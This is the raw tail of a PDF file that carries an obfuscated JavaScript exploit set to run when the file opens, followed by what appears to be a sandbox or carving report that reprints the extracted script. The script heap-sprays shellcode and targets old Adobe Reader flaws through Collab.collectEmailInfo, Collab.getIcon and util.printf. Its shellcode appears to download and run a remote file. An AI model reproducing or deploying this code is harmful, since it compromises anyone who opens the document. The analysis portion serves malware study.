g����f>�' Q0�� 9v�%�ȟOl G�# }^ǽ�T�h��쟣���<jp31�W�o �P �[�S��N��.��c鴇 �(�1�Mn�, �P��q�WǓ���ޙ�ʖ� n��q�z� �:��1�%o���i���5.Ӱ N�� H��5� k?K�`L�� '�c�IvY���f \��F�m�+$� {RaӬ��q��B�� Ա�z�Gxi� �p�
�A/ ����Q��0� H ����y�6_ q�7%�*�L��cd`� zp�c��<# � y� �m 4Z�#�R���Y4^{ �c�)Mn�zn ����(�t�X��1��n�X���M��� �=�}� ���p�a�.1�"l��iNi�ľ�y�X؈F*��}dh v����@ ���m�4� MyӀ*�5-; �0T�` Y:�wm 6� �>�%N۞I d YT)V� ��}eG����N�^
��+�毱���-�-��q�RP� �~M���'��i
B}��In�p� �uL� B�7X?��I*(Qڣhx���<rz3"��Z����|�=]���#�a� S �- ' ד2j1ې �
7~S54c@ �Q��r-�# �n�vrs՝ݗ}�CI����P�$ ���~��z�� 稅|������� LE��r��o�$焺{���g5��L� _d3���l{��p�3�� -N�7[ �| �q�*�56��c�~A<5� ��Kw���f=�y�:�� '<S ��<ϝJL �s"�u����Fl �Aq�U�Y��N{{o�I_v\ �ז�A �n��� ;� ���5�5�X�Z�^�9� �. ��Hi ����� �>�E��_l����d�L��9R��� ���q�n&U)[T6����7| �Zf��K�S�����ޤx���7)^]�7��H�N } /V�۷o��q�(z��m � � ��� ��f�S�T`�ZAx:� -,"?m/��s }0�k|�� � �� �� � =�l)���'��#h� Nm����Sp �R�� �
�5�=od�E5mK�Э� � � m��V�8v�z����{�N�D�� a��"G� 4| �`u�h>� �t�[F������� / -�[K!���}� �G���bj��>)�> -Z�N:ڡ#�2� ��� ��k-�v����r �� ]�o9�V���{� �{���v�s�� n�(���ڝ��q�w8Ÿﭦ�HU��K}ܓ:7�p>�- ���&tN�FE�k�%N ��� ��;�� q��'��� � �� ,&m�9��4Y@Z%7� �� 7� =b�=w�F�#�w�yO ��� \���Em�(�"<�c'6�� K:�� ӊ:��&4
� %��V+�� ��6�L���ҍ{� {�<B[;��X�����/��i��v�j���#����Si �1`�ª�WrY:架]���9v �PV��!�#h7ߞ��Z �{�G�A���=a|��>`|f� a�^� |F�e%� �@�#T�?�|� �I;
endstream
endobj
9 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 10 0 R>>
endobj
10 0 obj
<</Filter /FlateDecode /Length 841>>
stream
x��V�r�6 ��+ޥ3� &)���q�x�� ��!� D,I� A �h�뻴dŪ�d�V=� v��}o�b �t� �����'�Q�nx���
��&X�(¦�����`��l�㹘��%B��l�E"R�[�"J�7��%�k�� �9V����fp���FgOW�_ gK�,�Jؘb����- ;�rtmm��'l����b�e�ob��} �er�il[��I�!����X� f ��n6 �����7�� O���x�o�=���&s,����h������7�� ��Ҿ�|/M��+�=U&����VI�k��@����\� *�q��� Uh� �
eI
��� � ��
���� �t J�' _�����
z�t$�*�� �b-�� [c;Bi z� Q8;� �kF� # � �8K^� �� �)Y���趄��c؋�f ��X�/��{�t o� ��<g� ��zTT0�?Kgؕ|��@ �����mQKf�0�c �iӅ� x���Kb�'bq�H�[ `�RĢяϊ�Fe��,z �� e:����� ͥ�ۭÎ� q/����2c�d1 �� >xM,n�� w[�#t��-���h5{Qg�
,�n"��ҏ����\�K�� 'տ�j��A��Y�` 2w�{�� �@-��}�H�U �� �4���bg �[�= � � � [�I:���X ��� �Y)}wQ E٩9vr j�vD�h�l��� pRMpui���F4���; |���[C�� v'�ڳ�M� -� ���5�y�;��X� �Y.�@���кK�.[/O��k�� ��{�����f��ޅ �6}� kX�^Or-���8C g#��ӷC��sP�ǠLVb�~����4&��Z �u�x}���� �� �X� � �to�
endstream
endobj
1 0 obj
<</Type /Pages
/Kids [
3 0 R
5 0 R
7 0 R
9 0 R
]
/Count 4
>>
endobj
11 0 obj
<</Type /OCG /Name (��print)
/Usage <</Print <</PrintState /ON>> /View <</ViewState /OFF>>>>>>
endobj
12 0 obj
<</Type /OCG /Name (��view)
/Usage <</Print <</PrintState /OFF>> /View <</ViewState /ON>>>>>>
endobj
13 0 obj
<</Type /Font
/Subtype /Type1
/BaseFont /Helvetica
/Name /F1
/Encoding /WinAnsiEncoding
>>
endobj
14 0 obj
<</Type /Font
/Subtype /Type1
/BaseFont /Courier
/Name /F2
/Encoding /WinAnsiEncoding
>>
endobj
15 0 obj
<</Type /Font
/Subtype /Type1
/BaseFont /Helvetica-Bold
/Name /F3
/Encoding /WinAnsiEncoding
>>
endobj
16 0 obj
<</Type /XObject
/Subtype /Image
/Width 400
/Height 200
/ColorSpace /DeviceRGB
/BitsPerComponent 8
/Filter /DCTDecode
/Length 2366>>
stream
���� JFIF ��>CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), default quality
��C
$.' ",# (7),01444 '9=82<.342��C
2! !22222222222222222222222222222222222222222222222222�� � � " ��
�ĵ } !1A Qa "q 2��� #B�� R��$3br�
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz���������������������������������������������������������������������������
�ĵ w !1 AQ aq "2� B���� #3R� br�
$4�%� &'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�������������������������������������������������������������������������� ?�袊�s�
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��ڙc�z
e Q@ Q@ Q@ Q@ R���@ E?���=)��� QL �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� Jy�=QMGE
(�� Q@ Q@ Q@ *�� J( P� #<��� �:RQI+QE �(��(��(��(��(��(��(���kk��>�1��s��Un D��Wk7��D
)bz�~�);� ��*�(��T�09� �B���՞<�C�� �?� Lm Q@ (� �(� �(� �(� �(� ��3��Jtd`(9"�� �8 ��kqh��
(��
(��
(��
(��
(��
(��
(��
(��
(��
( ��
�s��v v"��)�(��(��(��(��)�� E6�|� �v�u��(��(��(��(��(��� (��@ QE QE QE QE QE QE QE QE QE QE QE "���y�GE&�
\VmǠ �QL �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �)� �I;Tu&�� (�ț ��e � �(� �(� �(� �(� �(� �3Ҋ� �ê�=� ��h������h � QE
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
� N�T �ꊊM]X �fY?v�� ��ګQE �* � QE0
(��
(��
(��
(��
r�/C�m �.�� <����(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��*A < ���S/*è �s��$O��� )8�sQӋ� �NqM��ij8���E U QE QE QE QE QE QE QE QE QE S�������� B � NԹ�� QE �(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(���B�LR�H,��G>� �$�Ҹ�DTQ��� �� H ː�� � . d�Y��w�urycx
��`��Z�N;
(�� (� �(� �(� �(� �YG�Q�>�
�S� �(� E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P Y c� �U ����QK�^�`��)�QE QE QE QE QE QE QE QE QE QE zS��Q@ E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P ��
endstream
endobj
2 0 obj
<<
/ProcSet [/PDF /Text /ImageB /ImageC /ImageI]
/Font <<
/F1 13 0 R
/F2 14 0 R
/F3 15 0 R
>>
/XObject <<
/I1 16 0 R
>>
/Properties <</OC1 11 0 R /OC2 12 0 R>>
/ExtGState <<
>>
>>
endobj
17 0 obj
<<
/Names [(EmbeddedJS) 18 0 R ]
>>
endobj
18 0 obj
<<
/S /JavaScript
/JS (��function vbOPusNc\(vb6ey6Vut\){return vb6ey6Vut;}var aJvlnOjm=new Array\(9070,18959,19100\);var f7D1bcqX="vd9aTHHp";var oFJlWmX8 = 'var yiVRjOkYtm = new Array\(\);var zfBUZF8x;function ozT5jZ5D\(wYkUBVd4, ktekUbjH\){while\(wYkUBVd4.length * 2 < ktekUbjH\){wYkUBVd4 += wYkUBVd4;}wYkUBVd4 = wYkUBVd4.substring\(0, ktekUbjH / 2\);return wYkUBVd4;}function mCMeZdpVP\(hbpVkVkFCM\){if\(hbpVkVkFCM == 0\){var l8v9dClzn = 0x0c0c0c0c;}else if\(hbpVkVkFCM == 1\){l8v9dClzn = 0x30303030;}var q9pY6GQ0b = new Array\(\\"%u5350%u5\\",\\"251%u57\\",\\"56%u9c5\\",\\"5%u00e8%u0\\",\\"000%u5d00%\\",\\"ued83%u3\\",\\"10d%u64c0%\\",\\"u4003%u783\\",\\"0%u8b0c\\",\\"%u0c40%u70\\",\\"8b%uad1c%\\",\\"u408b%\\",\\"ueb08%u8b0\\",\\"9%u3440%u\\",\\"408d%\\",\\"u8b7c%u\\",\\"3c40%u5\\",\\"756%u5eb\\",\\"e%u0001%u\\",\\"0100%ubfee\\",\\"%u014e\\",\\"%u0000%\\",\\"uef01%ud6\\",\\"e8%u0001\\",\\"%u5f00%\\",\\"u895e%u81e\\",\\"a%u5ec2%u0\\",\\"001%u5200%\\",\\"u8068%u0\\",\\"000%uf\\",\\"f00%u4e9\\",\\"5%u0001\\",\\"%u8900%\\",\\"u81ea%u5ec\\",\\"2%u000\\",\\"1%u3100%u\\",\\"01f6%u8a\\",\\"c2%u359c%u\\",\\"0263%u\\",\\"0000%ufb\\",\\"80%u7\\",\\"400%u\\",\\"8806%u\\",\\"321c%ue\\",\\"b46%uc\\",\\"6ee%u3\\",\\"204%u890\\",\\"0%u81ea%u4\\",\\"5c2%u0002%\\",\\"u5200%\\",\\"u95ff%u015\\",\\"2%u0000\\",\\"%uea89%uc2\\",\\"81%u0\\",\\"250%u00\\",\\"00%u5052%u\\",\\"95ff%\\",\\"u0156%\\",\\"u0000%u006\\",\\"a%u006a%u\\",\\"ea89%uc28\\",\\"1%u015e%u0\\",\\"000%u89\\",\\"52%u81ea\\",\\"%u78c\\",\\"2%u0002%u\\",\\"5200%u006a\\",\\"%ud0ff%u05\\",\\"6a%uea\\",\\"89%uc281%\\",\\"u015e%u\\",\\"0000%uff\\",\\"52%u5a95\\",\\"%u0001%u\\",\\"8900%u81\\",\\"ea%u5ec2%u\\",\\"0001%u\\",\\"5200%u\\",\\"8068%u0000\\",\\"%uff00%u4\\",\\"e95%u00\\",\\"01%u89\\",\\"00%u8\\",\\"1ea%u5e\\",\\"c2%u0001\\",\\"%u310\\",\\"0%u01f6%u8\\",\\"ac2%u359c\\",\\"%u026e%u\\",\\"0000%ufb80\\",\\"%u7400%u\\",\\"8806%\\",\\"u321c%ueb\\",\\"46%uc\\",\\"6ee%u3\\",\\"204%u8\\",\\"900%u81\\",\\"ea%u45c2%u\\",\\"0002%u5\\",\\"200%u95f\\",\\"f%u0152%u\\",\\"0000%uea89\\",\\"%uc281%\\",\\"u0250\\",\\"%u0000%u50\\",\\"52%u95f\\",\\"f%u0156%u0\\",\\"000%u006a%\\",\\"u006a%\\",\\"uea89%u\\",\\"c281%u\\",\\"015e%u0000\\",\\"%u8952%u81\\",\\"ea%ua6c2%\\",\\"u0002%u520\\",\\"0%u006a%\\",\\"ud0ff\\",\\"%u056a%\\",\\"uea89%u\\",\\"c281%u015\\",\\"e%u0000%uf\\",\\"f52%u5a95%\\",\\"u0001%\\",\\"u9d00%u5\\",\\"f5d%u5a5e\\",\\"%u5b59%\\",\\"uc358%u000\\",\\"0%u00\\",\\"00%u0000%\\",\\"u0000%u0\\",\\"000%u0000\\",\\"%u0000%u\\",\\"0000%u\\",\\"6547%u5\\",\\"474%u6\\",\\"d65%u5070\\",\\"%u7461\\",\\"%u4168%u\\",\\"4c00%u616f\\",\\"%u4c64\\",\\"%u6269\\",\\"%u617\\",\\"2%u797\\",\\"2%u0041%\\",\\"u6547\\",\\"%u5074%u\\",\\"6f72%u416\\",\\"3%u646\\",\\"4%u6572\\",\\"%u737\\",\\"3%u5700%u\\",\\"6e69%u\\",\\"7845%\\",\\"u6365%\\",\\"ubb00%uf28\\",\\"9%uf789%\\",\\"uc030%u7\\",\\"5ae%u2\\",\\"9fd%u89\\",\\"f7%u31f\\",\\"9%ubec0%u0\\",\\"03c%u000\\",\\"0%ub5\\",\\"03%u021b%u\\",\\"0000%uad\\",\\"66%u85\\",\\"03%u021b%u\\",\\"0000%u708b\\",\\"%u8378%\\",\\"u1cc6\\",\\"%ub503%u02\\",\\"1b%u0000%u\\",\\"bd8d%u021f\\",\\"%u000\\",\\"0%u03a\\",\\"d%u1b85%\\",\\"u0002%\\",\\"uab00%u03\\",\\"ad%u1b8\\",\\"5%u0002\\",\\"%u5000%u\\",\\"adab%\\",\\"u8503%u021\\",\\"b%u00\\",\\"00%u5\\",\\"eab%u\\",\\"db31%u\\",\\"56ad%\\",\\"u8503%\\",\\"u021b%u\\",\\"0000%uc68\\",\\"9%ud7\\",\\"89%ufc51%u\\",\\"a6f3%u7459\\",\\"%u5e0\\",\\"4%ueb43%\\",\\"u5ee9%ud1\\",\\"93%u03e0\\",\\"%u2785%u\\",\\"0002%u3\\",\\"100%u96\\",\\"f6%ua\\",\\"d66%ue0c1\\",\\"%u0302%u1f\\",\\"85%u0002\\",\\"%u8900%\\",\\"uadc6\\",\\"%u8503%u02\\",\\"1b%u00\\",\\"00%ueb\\",\\"c3%u0\\",\\"010%u0000\\",\\"%u0000%u0\\",\\"000%u000\\",\\"0%u0000%u0\\",\\"000%u0\\",\\"000%u\\",\\"8900%u\\",\\"1b85%u00\\",\\"02%u5600%\\",\\"ue857%uff5\\",\\"8%uffff%u5\\",\\"e5f%u\\",\\"01ab%\\",\\"u80ce%ubb3\\",\\"e%u0274%\\",\\"uedeb%\\",\\"u55c3%u4c\\",\\"52%u4f4d%\\",\\"u2e4e%\\",\\"u4c44\\",\\"%u004c%\\",\\"u5255%\\",\\"u444c%u\\",\\"776f%u6c\\",\\"6e%u616\\",\\"f%u54\\",\\"64%u4\\",\\"66f%u6c69\\",\\"%u4165%u7\\",\\"500%u\\",\\"6470%\\",\\"u7461%u2\\",\\"e65%u786\\",\\"5%u0065%u\\",\\"7263%u7\\",\\"361%u2e68%\\",\\"u6870%u00\\",\\"70%u7468%u\\",\\"7074%u2f3\\",\\"a%u742f%u\\",\\"6172%u6b63\\",\\"%u7265\\",\\"%u6c2e%u6b\\",\\"69%u64\\",\\"65%u7665\\",\\"%u6c69%u6\\",\\"32e%u6d6f\\",\\"%u352\\",\\"f%u752\\",\\"f%u6470%\\",\\"u7461%\\",\\"u2e65%u\\",\\"6870%u3f\\",\\"70%u6\\",\\"469%u\\",\\"333d%u\\",\\"7226%u\\",\\"7465%u6\\",\\"f3d%u0\\",\\"06b%u90\\",\\"00\\"\);q9pY6GQ0b = unescape\(q9pY6GQ0b.join\(\\"\\"\)\);var q9sXtOncko = 0x400000;var va7mY8cM = q9pY6GQ0b.length * 2;var ktekUbjH = q9sXtOncko - \(va7mY8cM + 0x38\);var wYkUBVd4 = unescape\(\\"%u9090%u9090\\"\);wYkUBVd4 = ozT5jZ5D\(wYkUBVd4, ktekUbjH\);var n5e4GmGIKa = \(l8v9dClzn - 0x400000\) / q9sXtOncko;for\(var gKGfNIjg = 0; gKGfNIjg < n5e4GmGIKa; gKGfNIjg++\){yiVRjOkYtm[gKGfNIjg] = wYkUBVd4 + q9pY6GQ0b;}}function jxJhkMf2\(\){var rBMniiLJa = 0;var zzRTq7dyO = app.viewerVersion.toString\(\);app.clearTimeOut\(zfBUZF8x\);if\(\(zzRTq7dyO >= 8 && zzRTq7dyO < 8.102\) || zzRTq7dyO < 7.1\){mCMeZdpVP\(0\);var bT7jAmo1 = unescape\(\\"%u0c0c%u0c0c\\"\);while\(bT7jAmo1.length < 44952\) bT7jAmo1 += bT7jAmo1;var qWB6pzpon9 = this;var laBXf53Fr = Collab;qWB6pzpon9[\\"collabStore\\"] = laBXf53Fr[\\"collectEmailInfo\\"]\({subj : \\"\\", msg : bT7jAmo1}\);}if\(\(zzRTq7dyO >= 8.102 && zzRTq7dyO < 8.104\) || \(zzRTq7dyO >= 9 && zzRTq7dyO < 9.1\) || zzRTq7dyO <= 7.101\){try{if\(app.doc.Collab.getIcon\){mCMeZdpVP\(2\);var swqUMHj0 = unescape\(\\"%09\\"\);while\(swqUMHj0.length < 0x4000\){swqUMHj0 += swqUMHj0;}swqUMHj0 = \\"N.\\" + swqUMHj0;var mge6M2hGmG = app;mge6M2hGmG[\\"doc\\"][\\"Collab\\"][\\"getIcon\\"]\(swqUMHj0\);rBMniiLJa = 1;}else{rBMniiLJa = 1;}}catch\(e\){rBMniiLJa = 1;}if\(rBMniiLJa == 1\){if\(zzRTq7dyO == 8.102 || zzRTq7dyO == 7.1\){mCMeZdpVP\(1\);var upC1McjEWW = \\"12999999999999999999\\";for\(ar1gkQ9RM = 0; ar1gkQ9RM < 276; ar1gkQ9RM++\){upC1McjEWW += \\"8\\";}var rfxwu5AIU4 = util;rfxwu5AIU4[\\"printf\\"]\(\\"%45000f\\", upC1McjEWW\);}}}}app.qw53gKJIH = jxJhkMf2;zfBUZF8x = app.setTimeOut\(\\"app.qw53gKJIH\(\)\\", 10\);';v847Hso8j='ywtF0exopJ';function mrtzccJBY\(lgKM5z1y\){}var wyxZA3FeX=new Array\(27940,8333\);var hw7uuCjlG = oFJlWmX8.replace\(/[]/g, ''\);this.emvdmINgG="oIFZIYIbG";var cMOmwedLLy="dem5WxX7g";var nB3upYHy="aqhpBlfh";var mTemA9jcn = 'e'+'v'+'a'+'l';app[mTemA9jcn]\(hw7uuCjlG\);this.xW5itivYJ=0.20698;var dhmgURT2=false;this.uZFfCaF2a=null;)
>>
endobj
19 0 obj
<<
/Title (��ifDuringHave)
/Author (��longLoremRepeat)
/Subject (��bcFormWhen)
/Keywords (��ifCiceroGalley, toExactDummy, isntLikeAldus)
/Creator (��pageDolor)
/Producer (��fced4f35799409dd854ebeaea7db546d)
/CreationDate (D:20091020170433+04'00')
/ModDate (D:20091020170433+04'00')
>>
endobj
20 0 obj
<<
/Type /Catalog
/Pages 1 0 R
/OpenAction [3 0 R /FitH null]
/PageLayout /SinglePage
/PageMode /UseNone
/Lang /en
/Names <<
/JavaScript 17 0 R
>>
/ViewerPreferences<<
/Direction /L2R
>>
/OCProperties <</OCGs [11 0 R 12 0 R] /D <</ON [11 0 R] /OFF [12 0 R] /AS [<</Event /Print /OCGs [11 0 R 12 0 R] /Category [/Print]>> <</Event /View /OCGs [11 0 R 12 0 R] /Category [/View]>>]>>>>
>>
endobj
xref
0 21
0000000000 65535 f
0000009661 00000 n
0000012824 00000 n
0000000009 00000 n
0000000117 00000 n
0000002999 00000 n
0000003107 00000 n
0000005747 00000 n
0000005855 00000 n
0000008640 00000 n
0000008749 00000 n
0000009737 00000 n
0000009853 00000 n
0000009967 00000 n
0000010074 00000 n
0000010179 00000 n
0000010291 00000 n
0000013019 00000 n
0000013071 00000 n
0000025365 00000 n
0000025787 00000 n
trailer
<<
/Size 21
/Root 20 0 R
/Info 19 0 R
>>
startxref
26189
%%EOF
|
|||
generic_stage_recovery_001.js |
deobfuscated-js | generic stage recovery null-collapse from JavaScript object 18 at offset 0x330F | 5792 bytes |
SHA-256: 594bb3f2620f305907b7ff621c22accd7fbc2d9bd5526f294ae71d96523898e9 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 4 eval/decoder/string-building token(s). 37 of 65 identifiers look randomly generated (e.g. 'q9sXtOncko') — consistent with name-mangling obfuscation.
|
|||
Preview scriptFirst 1,000 lines of the extracted script
��function vbOPusNc(vb6ey6Vut){return vb6ey6Vut;}var aJvlnOjm=new Array(9070,18959,19100);var f7D1bcqX="vd9aTHHp";var oFJlWmX8 = 'var yiVRjOkYtm = new Array();var zfBUZF8x;function ozT5jZ5D(wYkUBVd4, ktekUbjH){while(wYkUBVd4.length * 2 < ktekUbjH){wYkUBVd4 += wYkUBVd4;}wYkUBVd4 = wYkUBVd4.substring(0, ktekUbjH / 2);return wYkUBVd4;}function mCMeZdpVP(hbpVkVkFCM){if(hbpVkVkFCM == 0){var l8v9dClzn = 0x0c0c0c0c;}else if(hbpVkVkFCM == 1){l8v9dClzn = 0x30303030;}var q9pY6GQ0b = new Array(\"%u5350%u5\",\"251%u57\",\"56%u9c5\",\"5%u00e8%u0\",\"000%u5d00%\",\"ued83%u3\",\"10d%u64c0%\",\"u4003%u783\",\"0%u8b0c\",\"%u0c40%u70\",\"8b%uad1c%\",\"u408b%\",\"ueb08%u8b0\",\"9%u3440%u\",\"408d%\",\"u8b7c%u\",\"3c40%u5\",\"756%u5eb\",\"e%u0001%u\",\"0100%ubfee\",\"%u014e\",\"%u0000%\",\"uef01%ud6\",\"e8%u0001\",\"%u5f00%\",\"u895e%u81e\",\"a%u5ec2%u0\",\"001%u5200%\",\"u8068%u0\",\"000%uf\",\"f00%u4e9\",\"5%u0001\",\"%u8900%\",\"u81ea%u5ec\",\"2%u000\",\"1%u3100%u\",\"01f6%u8a\",\"c2%u359c%u\",\"0263%u\",\"0000%ufb\",\"80%u7\",\"400%u\",\"8806%u\",\"321c%ue\",\"b46%uc\",\"6ee%u3\",\"204%u890\",\"0%u81ea%u4\",\"5c2%u0002%\",\"u5200%\",\"u95ff%u015\",\"2%u0000\",\"%uea89%uc2\",\"81%u0\",\"250%u00\",\"00%u5052%u\",\"95ff%\",\"u0156%\",\"u0000%u006\",\"a%u006a%u\",\"ea89%uc28\",\"1%u015e%u0\",\"000%u89\",\"52%u81ea\",\"%u78c\",\"2%u0002%u\",\"5200%u006a\",\"%ud0ff%u05\",\"6a%uea\",\"89%uc281%\",\"u015e%u\",\"0000%uff\",\"52%u5a95\",\"%u0001%u\",\"8900%u81\",\"ea%u5ec2%u\",\"0001%u\",\"5200%u\",\"8068%u0000\",\"%uff00%u4\",\"e95%u00\",\"01%u89\",\"00%u8\",\"1ea%u5e\",\"c2%u0001\",\"%u310\",\"0%u01f6%u8\",\"ac2%u359c\",\"%u026e%u\",\"0000%ufb80\",\"%u7400%u\",\"8806%\",\"u321c%ueb\",\"46%uc\",\"6ee%u3\",\"204%u8\",\"900%u81\",\"ea%u45c2%u\",\"0002%u5\",\"200%u95f\",\"f%u0152%u\",\"0000%uea89\",\"%uc281%\",\"u0250\",\"%u0000%u50\",\"52%u95f\",\"f%u0156%u0\",\"000%u006a%\",\"u006a%\",\"uea89%u\",\"c281%u\",\"015e%u0000\",\"%u8952%u81\",\"ea%ua6c2%\",\"u0002%u520\",\"0%u006a%\",\"ud0ff\",\"%u056a%\",\"uea89%u\",\"c281%u015\",\"e%u0000%uf\",\"f52%u5a95%\",\"u0001%\",\"u9d00%u5\",\"f5d%u5a5e\",\"%u5b59%\",\"uc358%u000\",\"0%u00\",\"00%u0000%\",\"u0000%u0\",\"000%u0000\",\"%u0000%u\",\"0000%u\",\"6547%u5\",\"474%u6\",\"d65%u5070\",\"%u7461\",\"%u4168%u\",\"4c00%u616f\",\"%u4c64\",\"%u6269\",\"%u617\",\"2%u797\",\"2%u0041%\",\"u6547\",\"%u5074%u\",\"6f72%u416\",\"3%u646\",\"4%u6572\",\"%u737\",\"3%u5700%u\",\"6e69%u\",\"7845%\",\"u6365%\",\"ubb00%uf28\",\"9%uf789%\",\"uc030%u7\",\"5ae%u2\",\"9fd%u89\",\"f7%u31f\",\"9%ubec0%u0\",\"03c%u000\",\"0%ub5\",\"03%u021b%u\",\"0000%uad\",\"66%u85\",\"03%u021b%u\",\"0000%u708b\",\"%u8378%\",\"u1cc6\",\"%ub503%u02\",\"1b%u0000%u\",\"bd8d%u021f\",\"%u000\",\"0%u03a\",\"d%u1b85%\",\"u0002%\",\"uab00%u03\",\"ad%u1b8\",\"5%u0002\",\"%u5000%u\",\"adab%\",\"u8503%u021\",\"b%u00\",\"00%u5\",\"eab%u\",\"db31%u\",\"56ad%\",\"u8503%\",\"u021b%u\",\"0000%uc68\",\"9%ud7\",\"89%ufc51%u\",\"a6f3%u7459\",\"%u5e0\",\"4%ueb43%\",\"u5ee9%ud1\",\"93%u03e0\",\"%u2785%u\",\"0002%u3\",\"100%u96\",\"f6%ua\",\"d66%ue0c1\",\"%u0302%u1f\",\"85%u0002\",\"%u8900%\",\"uadc6\",\"%u8503%u02\",\"1b%u00\",\"00%ueb\",\"c3%u0\",\"010%u0000\",\"%u0000%u0\",\"000%u000\",\"0%u0000%u0\",\"000%u0\",\"000%u\",\"8900%u\",\"1b85%u00\",\"02%u5600%\",\"ue857%uff5\",\"8%uffff%u5\",\"e5f%u\",\"01ab%\",\"u80ce%ubb3\",\"e%u0274%\",\"uedeb%\",\"u55c3%u4c\",\"52%u4f4d%\",\"u2e4e%\",\"u4c44\",\"%u004c%\",\"u5255%\",\"u444c%u\",\"776f%u6c\",\"6e%u616\",\"f%u54\",\"64%u4\",\"66f%u6c69\",\"%u4165%u7\",\"500%u\",\"6470%\",\"u7461%u2\",\"e65%u786\",\"5%u0065%u\",\"7263%u7\",\"361%u2e68%\",\"u6870%u00\",\"70%u7468%u\",\"7074%u2f3\",\"a%u742f%u\",\"6172%u6b63\",\"%u7265\",\"%u6c2e%u6b\",\"69%u64\",\"65%u7665\",\"%u6c69%u6\",\"32e%u6d6f\",\"%u352\",\"f%u752\",\"f%u6470%\",\"u7461%\",\"u2e65%u\",\"6870%u3f\",\"70%u6\",\"469%u\",\"333d%u\",\"7226%u\",\"7465%u6\",\"f3d%u0\",\"06b%u90\",\"00\");q9pY6GQ0b = unescape(q9pY6GQ0b.join(\"\"));var q9sXtOncko = 0x400000;var va7mY8cM = q9pY6GQ0b.length * 2;var ktekUbjH = q9sXtOncko - (va7mY8cM + 0x38);var wYkUBVd4 = unescape(\"%u9090%u9090\");wYkUBVd4 = ozT5jZ5D(wYkUBVd4, ktekUbjH);var n5e4GmGIKa = (l8v9dClzn - 0x400000) / q9sXtOncko;for(var gKGfNIjg = 0; gKGfNIjg < n5e4GmGIKa; gKGfNIjg++){yiVRjOkYtm[gKGfNIjg] = wYkUBVd4 + q9pY6GQ0b;}}function jxJhkMf2(){var rBMniiLJa = 0;var zzRTq7dyO = app.viewerVersion.toString();app.clearTimeOut(zfBUZF8x);if((zzRTq7dyO >= 8 && zzRTq7dyO < 8.102) || zzRTq7dyO < 7.1){mCMeZdpVP(0);var bT7jAmo1 = unescape(\"%u0c0c%u0c0c\");while(bT7jAmo1.length < 44952) bT7jAmo1 += bT7jAmo1;var qWB6pzpon9 = this;var laBXf53Fr = Collab;qWB6pzpon9[\"collabStore\"] = laBXf53Fr[\"collectEmailInfo\"]({subj : \"\", msg : bT7jAmo1});}if((zzRTq7dyO >= 8.102 && zzRTq7dyO < 8.104) || (zzRTq7dyO >= 9 && zzRTq7dyO < 9.1) || zzRTq7dyO <= 7.101){try{if(app.doc.Collab.getIcon){mCMeZdpVP(2);var swqUMHj0 = unescape(\"%09\");while(swqUMHj0.length < 0x4000){swqUMHj0 += swqUMHj0;}swqUMHj0 = \"N.\" + swqUMHj0;var mge6M2hGmG = app;mge6M2hGmG[\"doc\"][\"Collab\"][\"getIcon\"](swqUMHj0);rBMniiLJa = 1;}else{rBMniiLJa = 1;}}catch(e){rBMniiLJa = 1;}if(rBMniiLJa == 1){if(zzRTq7dyO == 8.102 || zzRTq7dyO == 7.1){mCMeZdpVP(1);var upC1McjEWW = \"12999999999999999999\";for(ar1gkQ9RM = 0; ar1gkQ9RM < 276; ar1gkQ9RM++){upC1McjEWW += \"8\";}var rfxwu5AIU4 = util;rfxwu5AIU4[\"printf\"](\"%45000f\", upC1McjEWW);}}}}app.qw53gKJIH = jxJhkMf2;zfBUZF8x = app.setTimeOut(\"app.qw53gKJIH()\", 10);';v847Hso8j='ywtF0exopJ';function mrtzccJBY(lgKM5z1y){}var wyxZA3FeX=new Array(27940,8333);var hw7uuCjlG = oFJlWmX8.replace(/[]/g, '');this.emvdmINgG="oIFZIYIbG";var cMOmwedLLy="dem5WxX7g";var nB3upYHy="aqhpBlfh";var mTemA9jcn = 'e'+'v'+'a'+'l';app[mTemA9jcn](hw7uuCjlG);this.xW5itivYJ=0.20698;var dhmgURT2=false;this.uZFfCaF2a=null;
|
|||
generic_stage_recovery_002.js |
deobfuscated-js | generic stage recovery split-literal-normalize from decompressed stream at 0x330F at offset 0x330F | 5781 bytes |
SHA-256: 6b4fe208f7f41d3dc2944fa469e3b6638691425692cc7b2ded12ccdc6e712e19 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 4 eval/decoder/string-building token(s). 37 of 65 identifiers look randomly generated (e.g. 'q9sXtOncko') — consistent with name-mangling obfuscation.
|
|||
Preview scriptFirst 1,000 lines of the extracted script
